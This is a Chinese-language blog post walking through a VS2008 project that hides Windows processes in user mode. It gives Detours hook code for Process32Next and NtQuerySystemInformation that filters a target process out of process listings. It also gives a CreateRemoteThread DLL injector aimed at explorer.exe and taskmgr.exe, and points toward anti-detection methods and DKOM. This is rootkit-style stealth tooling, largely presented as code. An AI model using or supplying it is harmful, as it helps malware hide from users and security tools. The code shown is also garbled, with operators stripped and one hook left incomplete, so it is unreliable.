公司动态

Windows进程隐藏技术:基于API Hook的用户态实现与原理剖析

📅 2026/7/30 7:35:31
Windows进程隐藏技术:基于API Hook的用户态实现与原理剖析
1. 项目概述与背景最近在整理一些老项目的代码翻出来一个十几年前用Visual Studio 2008写的C工具核心功能是实现进程隐藏。现在回头看虽然技术栈有点“复古”但其中涉及到的Windows系统底层原理和编程技巧在今天依然有很强的学习价值。很多朋友可能觉得进程隐藏是“灰色”技术离日常开发很远。其实不然理解它背后的机制能让你对Windows进程管理、内存保护、API Hook、驱动交互等核心概念有更深刻的认识这对于开发安全软件、性能监控工具、甚至是游戏反作弊系统都是非常宝贵的底层经验。这个项目本质上是在用户态探索Windows进程列表的枚举机制并尝试从不同视角“抹去”特定进程的踪迹。它不是去开发一个内核Rootkit而是在当时的技术环境下利用合法的Windows API和一些未公开但广泛使用的技巧实现一个相对“温和”的隐藏效果。通过这个项目你可以学到如何遍历进程、如何操作进程内存、如何拦截API调用以及最重要的是理解Windows系统是如何“看见”一个进程的。下面我就把这个老项目的核心思路、关键代码和踩过的坑重新梳理和分享出来。2. 核心原理与方案选型在Windows系统里我们平时在任务管理器里看到的进程列表或者通过tasklist命令、EnumProcessesAPI获取的列表并不是直接从内核里“读”出来的一个绝对真实的清单。系统提供了多种不同的“观察窗口”每个窗口看到的景象可能略有不同。进程隐藏本质上就是针对某一个或某几个特定的“观察窗口”进行干扰让目标进程从这个窗口的视野里消失。2.1 常见的进程枚举途径要实现隐藏首先得知道别人是怎么找到你的。在Windows XP/7时代VS2008的主要目标平台常见的进程发现方法有ToolHelp系列API 这是最常用的方法CreateToolhelp32Snapshot、Process32First、Process32Next这一套。任务管理器、大部分进程管理工具都使用它。它的原理是给系统内所有进程拍个快照。PSAPI (Process Status API) 主要是EnumProcesses函数它枚举所有进程的PID。很多脚本和简单工具会用这个。Native API (NTDLL.dll) 更底层的NtQuerySystemInformation函数传入特定的信息类如SystemProcessInformation可以获取最详尽的系统进程和线程信息。一些高级工具和杀软会用到这个。WMI (Windows Management Instrumentation) 通过查询Win32_Process类来获取进程信息。系统管理员和远程管理工具常用。内核对象遍历 在驱动层面通过遍历PsActiveProcessHead这个内核链表可以拿到最根本的进程列表。这完全处于内核态用户态程序通常无法直接干预。我们的目标主要针对前三种用户态常见的枚举方式。隐藏方案也围绕干扰这些API的返回结果来设计。2.2 技术方案对比与选择当时主要评估了三种在用户态实现进程隐藏的技术路径方案A远程线程注入与内存擦除。向目标进程注入一个DLL这个DLL在目标进程内运行负责修改该进程的PEB进程环境块中的某些字段或者直接卸载该进程在PsActiveProcessHead链表中的节点这需要极高权限且极不稳定容易蓝屏。这个方案侵入性强效果取决于对内核结构的操作深度风险极高在VS2008环境下难以稳定实现。方案BAPI Hook挂钩。拦截那些枚举进程的API如Process32Next,NtQuerySystemInformation当调用这些API试图获取进程列表时我们的钩子函数就“过滤”掉目标进程不让它出现在返回的结果里。这是用户态实现隐藏最经典、相对最稳定的方法。方案C父进程欺骗与窗口伪装。通过创建挂起的进程、修改其内存和上下文后恢复运行或者创建没有窗口、没有控制台的“后台服务”式进程降低其存在感。但这并不能真正从进程列表中隐藏只是不那么“显眼”。综合考量稳定性、实现难度和隐藏效果方案B——API Hook是最佳选择。它完全在用户态操作不直接触碰危险的内核数据结构通过修改函数执行路径来达到目的可控性较好。而Hook技术本身在VS2008的C环境下有成熟的Detours库微软官方发布或者自己写Inline Hook都可以实现。我们选择使用Detours因为它是微软自家的文档和稳定性在当时相对更好兼容性也更有保障。注意 这里必须强调本文讨论的技术仅用于学习Windows系统原理和编程技术。在实际应用中未经授权的进程隐藏行为可能违反软件使用条款或相关法律法规请务必在合法合规的范围内进行技术研究。3. 开发环境搭建与核心工具工欲善其事必先利其器。用今天的眼光看VS2008确实老了但搭建一个能编译和调试这个项目的环境本身就是一个很好的练习。3.1 Visual Studio 2008配置要点安装与SP1补丁 确保安装Visual Studio 2008 Team System或Professional版本并安装最新的Service Pack 1。这是很多库包括后续的Detours能正常工作的基础。平台工具集 在项目属性 - 配置属性 - 常规中平台工具集选择Visual Studio 2008 (v90)。不要尝试使用更高版本的工具集兼容性问题会让你头疼不已。字符集与运行时库 由于涉及大量Windows API项目属性 - 配置属性 - 常规中字符集建议设置为使用多字节字符集避免Unicode和ANSI字符串转换的麻烦。在C/C - 代码生成中运行时库根据项目类型选择多线程(/MT)发布静态库或多线程调试(/MTd)调试静态库这样可以避免目标机器上缺少特定VC运行库的问题。调试符号 务必在工具-选项-调试-符号中添加微软的符号服务器如https://msdl.microsoft.com/download/symbols。这对于调试系统API调用和反汇编至关重要。3.2 Detours库的集成Detours是微软研究院发布的一个用于监控和拦截Win32 API调用的库。我们使用它的经典版本如Detours Express 2.1或3.0需匹配VS2008。下载与编译 从微软官网或可信源下载Detours源码包。使用VS2008的命令行工具如Visual Studio 2008 Command Prompt导航到Detours的src目录执行nmake或nmake /f Makefile来编译库文件。这会生成detours.lib和detoured.dll等文件。项目配置包含目录 在项目属性 - C/C - 常规 - 附加包含目录中添加Detours的include文件夹路径。库目录 在链接器 - 常规 - 附加库目录中添加包含detours.lib的文件夹路径。链接库 在链接器 - 输入 - 附加依赖项中添加detours.lib。复制DLL 将编译好的detoured.dll和detours.dll如果有复制到你的项目生成目录通常是Debug或Release文件夹确保程序运行时能找到它们。3.3 辅助工具准备Process Explorer (Sysinternals Suite) 比任务管理器强大得多的进程查看工具可以查看进程的DLL、句柄、线程等信息是检验我们隐藏效果和调试的利器。API Monitor 一款免费的API调用监视工具可以实时查看进程调用了哪些API传入传出了什么参数。这对于验证我们的Hook是否生效、理解API调用流程非常有帮助。OllyDbg 或 x64dbg 动态调试器用于深入跟踪代码执行、分析内存和寄存器状态。当Hook出现问题时这是最终的排查手段。4. 关键技术实现挂钩进程枚举API我们的核心目标是挂钩kernel32.dll中的Process32Next函数和ntdll.dll中的NtQuerySystemInformation函数。下面分别阐述。4.1 挂钩 Process32NextProcess32Next是ToolHelp API中用于遍历进程快照的函数。我们挂钩它在它返回进程信息前检查该进程是否是我们想要隐藏的。如果是就让它继续查找下一个进程从而跳过目标。首先定义原始函数指针和我们的钩子函数#include windows.h #include tlhelp32.h // for PROCESSENTRY32 #include detours.h // Detours头文件 // 声明原始函数的类型和指针 typedef BOOL (WINAPI *TrueProcess32NextFunc)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); TrueProcess32NextFunc TrueProcess32Next NULL; // 我们想要隐藏的进程名例如notepad.exe const char* g_szProcessToHide notepad.exe; // 钩子函数 BOOL WINAPI MyProcess32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe) { // 先调用原始函数获取一个进程信息 BOOL bRet TrueProcess32Next(hSnapshot, lppe); // 如果原始函数调用成功并且当前进程是我们想隐藏的 while (bRet _stricmp(lppe-szExeFile, g_szProcessToHide) 0) { // 那么继续调用原始函数获取下一个进程跳过这个 bRet TrueProcess32Next(hSnapshot, lppe); } // 返回结果可能是跳过了隐藏进程后的下一个进程或者FALSE return bRet; }挂钩的安装通常在DllMain的DLL_PROCESS_ATTACH事件中或者在一个独立的安装函数中void InstallHook() { // 获取原始函数地址 TrueProcess32Next (TrueProcess32NextFunc) GetProcAddress(GetModuleHandleA(kernel32.dll), Process32Next); if (TrueProcess32Next ! NULL) { // 开始事务 DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); // 更新当前线程 // 进行挂钩将TrueProcess32Next的调用重定向到MyProcess32Next DetourAttach((PVOID)TrueProcess32Next, MyProcess32Next); // 提交事务 DetourTransactionCommit(); } } void UninstallHook() { if (TrueProcess32Next ! NULL) { DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); // 解除挂钩 DetourDetach((PVOID)TrueProcess32Next, MyProcess32Next); DetourTransactionCommit(); } }关键点与坑Unicode vs ANSIProcess32Next实际上有Process32NextW(Unicode)和Process32NextA(ANSI)两个版本。任务管理器通常调用W版本。为了兼容性最好两个版本都挂钩。上面的例子是A版本。你需要同样为Process32NextW写一个钩子并注意字符串比较函数要改用_wcsicmp。快照句柄Process32First也需要被挂钩吗通常不需要。因为Process32First获取快照中的第一个进程如果第一个就是目标直接跳过会导致返回FALSE遍历提前结束。更稳健的做法是在MyProcess32Next中处理连续跳过的情况确保逻辑正确。线程安全 我们的钩子函数可能被多个线程同时调用。虽然Process32Next本身可能不是完全线程安全的依赖于快照句柄但我们的钩子函数很简单只是字符串比较和递归调用在这个场景下竞争条件风险很低。但如果涉及更复杂的共享状态就需要考虑加锁。4.2 挂钩 NtQuerySystemInformationNtQuerySystemInformation是更底层的API功能强大参数复杂。我们关注的是其查询系统进程信息SystemProcessInformation的功能。首先需要定义相关的数据结构这些在MSDN上没有正式文档但已被广泛逆向工程并使用typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; // 下一个结构体的偏移0表示结束 ULONG NumberOfThreads; LARGE_INTEGER WorkingSetPrivateSize; ULONG HardFaultCount; ULONG NumberOfThreadsHighWatermark; ULONGLONG CycleTime; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; ULONG_PTR UniqueProcessKey; SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER ReadOperationCount; LARGE_INTEGER WriteOperationCount; LARGE_INTEGER OtherOperationCount; LARGE_INTEGER ReadTransferCount; LARGE_INTEGER WriteTransferCount; LARGE_INTEGER OtherTransferCount; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; // 声明NT API的函数类型 typedef NTSTATUS (NTAPI *TrueNtQuerySystemInformationFunc)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); TrueNtQuerySystemInformationFunc TrueNtQuerySystemInformation NULL;然后实现钩子函数。这里的逻辑比Process32Next复杂因为我们需要在内存中“缝合”链表跳过目标进程节点NTSTATUS NTAPI MyNtQuerySystemInformation( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ) { NTSTATUS status TrueNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); // 只处理进程信息查询并且调用原始函数成功 if (SystemInformationClass 5 NT_SUCCESS(status)) // 5 通常代表 SystemProcessInformation { PSYSTEM_PROCESS_INFORMATION pCurrent NULL; PSYSTEM_PROCESS_INFORMATION pPrev NULL; PBYTE pInfo (PBYTE)SystemInformation; // 遍历进程信息链表 do { pCurrent (PSYSTEM_PROCESS_INFORMATION)pInfo; // 检查是否是我们要隐藏的进程注意ImageName.Buffer可能是NULL if (pCurrent-ImageName.Buffer ! NULL) { // 这里需要将UNICODE_STRING转换为可比较的字符串示例使用简单比较 // 实际项目中应使用RtlCompareUnicodeString等安全函数 if (_wcsicmp(pCurrent-ImageName.Buffer, Lnotepad.exe) 0) { // 找到目标进程需要从链表中移除它 if (pPrev NULL) { // 如果是链表头移动起始指针 if (pCurrent-NextEntryOffset 0) { // 只有一个进程且是目标清空缓冲区复杂情况需特殊处理 // 这里简单返回一个空结果非标准做法仅示意 // 更安全的做法是返回一个错误状态或0长度数据 } else { // 将链表头指向下一个进程 PBYTE pNext pInfo pCurrent-NextEntryOffset; ULONG moveSize 0; PSYSTEM_PROCESS_INFORMATION pNextEntry (PSYSTEM_PROCESS_INFORMATION)pNext; // 计算从下一个节点到缓冲区末尾的数据大小 // ... (此处需要精确计算内存移动) // memmove(pInfo, pNext, moveSize); // 调整ReturnLength } } else { // 不是链表头让前一个节点的NextEntryOffset跳过当前节点 pPrev-NextEntryOffset pCurrent-NextEntryOffset; } // 调整指针继续遍历因为链表已经改变 // 这里的逻辑需要非常小心处理内存覆盖和指针更新 } else { // 不是目标进程更新pPrev pPrev pCurrent; } } else { // ImageName为空也更新pPrev pPrev pCurrent; } // 移动到下一个进程节点 if (pCurrent-NextEntryOffset 0) pInfo NULL; else pInfo pCurrent-NextEntryOffset; } while (pInfo ! NULL); } return status; }关键点与巨坑内存操作极其危险 上述MyNtQuerySystemInformation的示例代码是高度简化的绝对不能直接用于生产环境。在内存中直接修改SYSTEM_PROCESS_INFORMATION链表涉及到复杂的内存移动和指针计算。一个微小的错误就会导致访问违规AV或蓝屏。在实际实现中你需要分配一个新的缓冲区将过滤后的数据拷贝进去并处理好SystemInformationLength和ReturnLength。系统信息类编号SystemProcessInformation的类编号这里是5可能随Windows版本变化。更可靠的做法是通过其他方式如反复调用测试动态确定或者针对不同系统版本做适配。挂钩安装 挂钩NtQuerySystemInformation的安装方式与Process32Next类似但需要从ntdll.dll获取地址。权限 某些对NtQuerySystemInformation的调用可能来自受保护进程或内核我们的用户态钩子可能无法拦截所有调用。4.3 注入与持久化要让钩子生效我们的代码通常是DLL形式必须注入到目标进程的地址空间。对于进程隐藏工具本身我们通常需要注入到资源管理器explorer.exe和任务管理器taskmgr.exe中。// 一个简单的DLL注入函数示例使用CreateRemoteThread bool InjectDLL(DWORD dwProcessId, const char* szDllPath) { HANDLE hProcess OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (hProcess NULL) return false; // 在目标进程分配内存存放DLL路径 size_t pathLen strlen(szDllPath) 1; LPVOID pRemoteMem VirtualAllocEx(hProcess, NULL, pathLen, MEM_COMMIT, PAGE_READWRITE); if (pRemoteMem NULL) { CloseHandle(hProcess); return false; } // 写入路径 WriteProcessMemory(hProcess, pRemoteMem, (LPVOID)szDllPath, pathLen, NULL); // 获取LoadLibraryA的函数地址它在kernel32中所有进程地址相同 LPVOID pLoadLib (LPVOID)GetProcAddress(GetModuleHandleA(kernel32.dll), LoadLibraryA); // 创建远程线程执行LoadLibraryA参数是我们写入的DLL路径 HANDLE hRemoteThread CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLib, pRemoteMem, 0, NULL); bool bSuccess (hRemoteThread ! NULL); if (hRemoteThread) { WaitForSingleObject(hRemoteThread, INFINITE); CloseHandle(hRemoteThread); } VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return bSuccess; }注入注意事项权限问题 对系统进程如taskmgr.exe进行注入需要管理员权限。你的主程序需要以管理员身份运行。DLL路径 最好使用绝对路径并且确保目标进程有权限访问该路径。卸载 同样需要提供一个机制来卸载DLL例如通过FreeLibrary的远程线程调用否则DLL会一直驻留在目标进程。防检测 简单的CreateRemoteThread注入很容易被安全软件检测。更隐蔽的方法有APC注入、SetWindowsHookEx、修改注册表AppInit_DLLs已逐渐被禁用等。但这超出了基础学习的范畴。5. 项目构建、测试与问题排查5.1 项目结构建议将项目分为几个部分HookCore.dll 核心动态链接库包含所有钩子函数MyProcess32Next,MyNtQuerySystemInformation和它们的安装/卸载函数InstallHook,UninstallHook。DllMain负责在加载和卸载时调用它们。Injector.exe 主控制台或GUI程序负责将HookCore.dll注入到指定的目标进程如explorer.exe,taskmgr.exe中。它也可以提供进程隐藏的开关、配置要隐藏的进程名等功能。TestTarget.exe 一个简单的测试程序比如一个不断打印自身PID的记事本用于验证隐藏效果。5.2 测试流程编译 用VS2008分别编译HookCore.dll和Injector.exe。基础测试 运行TestTarget.exe例如notepad.exe记下其PID。用任务管理器和Process Explorer确认能看到它。注入测试 以管理员身份运行Injector.exe输入explorer.exe的PID可以通过任务管理器查看并指定HookCore.dll的完整路径进行注入。对taskmgr.exe也做同样操作。注入时Injector.exe可能会因为权限或路径问题失败需要根据错误码排查。验证效果刷新任务管理器看notepad.exe是否消失。在Process Explorer中查看explorer.exe和taskmgr.exe进程加载的DLL列表确认HookCore.dll已成功加载。使用API Monitor附加到taskmgr.exe过滤Process32NextW或NtQuerySystemInformation调用观察其返回的数据流看是否过滤了目标进程。稳定性测试 长时间运行尝试打开/关闭多个被隐藏进程的实例观察系统是否稳定注入的进程是否会崩溃。5.3 常见问题与排查技巧注入失败错误代码5拒绝访问原因 权限不足。目标进程是系统进程或受保护进程。解决 确保Injector.exe以管理员身份运行。在VS2008中调试时也需要以管理员身份启动VS。注入成功但钩子无效任务管理器仍能看到进程原因1 挂钩的函数不对。任务管理器64位版本可能调用不同API或位于不同模块。排查 用API Monitor监视taskmgr.exe看它到底调用了哪些进程枚举函数。可能需要同时挂钩Process32NextW和Process32NextA甚至Process32First。原因2 DLL没有正确加载或DllMain中的安装函数未被调用。排查 在HookCore.dll的DllMain和InstallHook函数入口处用OutputDebugString输出日志然后用DebugView工具查看。或者直接附加调试器到目标进程进行调试。原因3 要隐藏的进程名匹配错误。注意大小写和完整路径。Process32Next返回的是文件名如notepad.exe而NtQuerySystemInformation返回的可能是完整路径如\Device\HarddiskVolume1\Windows\notepad.exe。解决 在钩子函数中加入更灵活的字符串匹配逻辑或者同时匹配PID。目标进程如任务管理器崩溃原因 钩子函数内部错误如内存访问违规、堆栈溢出、递归调用死循环。排查 这是最棘手的情况。需要远程调试。在VS2008中调试-附加到进程选择崩溃的进程如taskmgr.exe。在HookCore.dll的代码中设置断点。当崩溃发生时查看调用堆栈定位到你的钩子函数中出错的代码行。重点检查字符串操作是否越界、指针是否为NULL、递归调用是否有终止条件、对NtQuerySystemInformation返回的数据结构操作是否越界。系统变得不稳定或某些软件功能异常原因 钩子影响了其他依赖进程列表的正常程序。例如一个系统监控工具可能因为获取不到完整的进程列表而出错。解决 实现更精细的控制。例如只对特定的调用者进程如taskmgr.exe,explorer.exe应用过滤而对其他进程如svchost.exe则放行。这可以在钩子函数中通过GetCurrentProcessId或回溯调用栈来判断调用者。64位系统兼容性问题注意 VS2008默认生成32位程序。在64位Windows上有32位和64位两种进程。任务管理器taskmgr.exe是64位的而你的HookCore.dll是32位的无法注入到64位进程。解决 你需要用VS2008配置一个x64平台可能需要安装x64编译器和SDK并编译一个64位版本的HookCore.dll。你的注入器也需要判断目标进程的位数IsWow64Process然后选择注入对应位数的DLL。这大大增加了项目的复杂度。6. 深入思考与扩展方向通过这个项目我们不仅实现了一个功能更深入理解了Windows的用户态与内核态边界、API拦截技术、进程内存空间和系统数据结构。在此基础上还可以进行更多探索对抗检测 如何让我们的隐藏更隐蔽可以研究如何隐藏DLL模块本身抹去PEB中的加载模块链表如何对抗那些直接读取内核内存如通过驱动的检测工具。内核态实现 用户态钩子如Detours容易被其他安全软件检测和摘除。更底层的实现是编写一个内核驱动Kernel Driver通过DKOM直接内核对象操作技术修改PsActiveProcessHead链表。这需要WDKWindows Driver Kit和深入的C/C及内核知识风险极高极易导致系统蓝屏但也是理解Windows内核的终极挑战之一。现代Windows的变更 从Windows 10开始特别是随着PatchGuard内核补丁保护和驱动签名强制执行的加强传统的用户态Hook和内核态DKOM都变得异常困难。现代的安全软件和反作弊系统采用了更高级的检测手段。这个VS2008项目更像是一个通往旧时代Windows后花园的钥匙理解了它你才能更好地理解现代Windows的安全机制为何如此设计。合法应用场景 抛开“隐藏”这个敏感词这项技术的合法用途包括软件开发中的沙箱隔离防止子进程被外部枚举、特定调试工具的开发需要“静默”监控目标进程而不被其发现、以及教育目的的系统安全研究。最后回顾整个项目最大的收获不是那几行让进程“消失”的代码而是在解决一个个具体问题如注入失败、进程崩溃、兼容性的过程中对Windows系统运行机制建立的立体认知。这些知识无论是对于开发底层安全软件还是处理高性能服务、复杂系统调试都是无比坚实的基石。技术本身无分黑白关键在于掌握它的人将其用于何处。希望这个详细的复盘能为你打开一扇深入了解Windows系统编程的窗户。